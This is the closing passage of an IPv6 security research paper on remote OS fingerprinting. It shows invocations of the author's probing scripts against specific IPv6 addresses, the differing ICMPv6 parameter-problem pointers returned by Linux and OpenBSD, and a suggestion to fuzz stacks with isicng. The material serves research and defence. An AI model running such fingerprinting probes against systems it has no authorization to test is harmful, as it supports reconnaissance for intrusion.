pouik# python osfp6-fragment-id.py -i ral0
-d 2001:200:0:1c01:20f:1fff:fe67:32e9
-s 2001:618:400:8f80:208:a1ff:fe9f:c49a
-S 00:08:a1:9f:c4:9a -D 00:08:a1:9f:c4:94 -n 5

16
17
18
19
20

Surely a Linux box. ;-)

9.4 Extension headers order

RFC2460 says :
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“IPv6 nodes must accept and attempt to process extension head-
ers in any order and occurring any number of times in the same
packet, except for the Hop-by-Hop Options header which is re-
stricted to appear immediately after an IPv6 header only.”

In other words, it tells us that an IPv6 packet with a hop-by-hop ex-
tension header in second or subsequent position is illegal and must be dis-
carded. Of course, some OSes accept these packets and others send an
icmpv6 paramater problem with a pointer field pointing to different loca-
tions. For instance, when it receives an icmpv6 echo request with a fragment
header followed by a hop-by-hop header, both, USAGI and KAME, reply
with an icmpv6 parameter problem but with a pointer field pointing to a
different part of the initial icmpv6 message. Indeed, the first one (USAGI) is
pointing to the next header field into the fragmentation header whereas the
other one (KAME) is pointing to the next header field into the IPv6 header.
osfp6-hbh-frag.py is a script that sends this type of packet and prints out
what node has responded.

Against Linux :
pouik# python osfp6-hbh-frag.py -i ral0

-d 2001:200:0:1c01:20f:1fff:fe67:32e9
-s 2001:618:400:8f80:208:a1ff:fe9f:c49a
-S 00:08:a1:9f:c4:9a -D 00:08:a1:9f:c4:94

+ received param prob with pointer = 40

Against OpenBSD :
pouik# python osfp6-hbh-frag.py -i ral0

-d 2001:618:400:8f80:208:a1ff:fe9f:c494
-s 2001:618:400:8f80:208:a1ff:fe9f:c49a
-S 00:08:a1:9f:c4:9a -D 00:08:a1:9f:c4:94

+ received param prob with pointer = 6

I am pretty sure there are several other malformed packets to which OSes
will respond with an icmpv6 parameter problem messages with a pointer
field pointing to different locations. These kind of packets can be revealed
with isicng. In fact, you launch isicng against different IPv6 stacks with the
same amount of packets (’-r’), you save packets generated (or not) by the
different OSes then in this way, you should be able spot the differences.

9.5 Other issues

This section has introduced only few alternative methods to determine
an OS remotely based on the IPv6 protocol, further investigations must be
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made in other products and in other parts of the IPv6 stack. In the future,
we will be able to fingerprint PDA, cellphone, fridge. . .

10 Conclusion

This paper has described researches made around IPv6 security during
this google Summer of Code. It has pointed out some security issues from
the inherit protocol to the IPv6 stack internals in a way that readers can
now answer the question previously asked in introduction “Is IPv6 security
much like than IPv4 security ?”. My researches do not cease with this google
Summer of Code, indeed, I plan to continue to explore other interesting
parts of IPv6 like Mobility, Firewalling and also IPsec. May be another
paper without silly grammar and vocabulary errors will follow this one. ;-)
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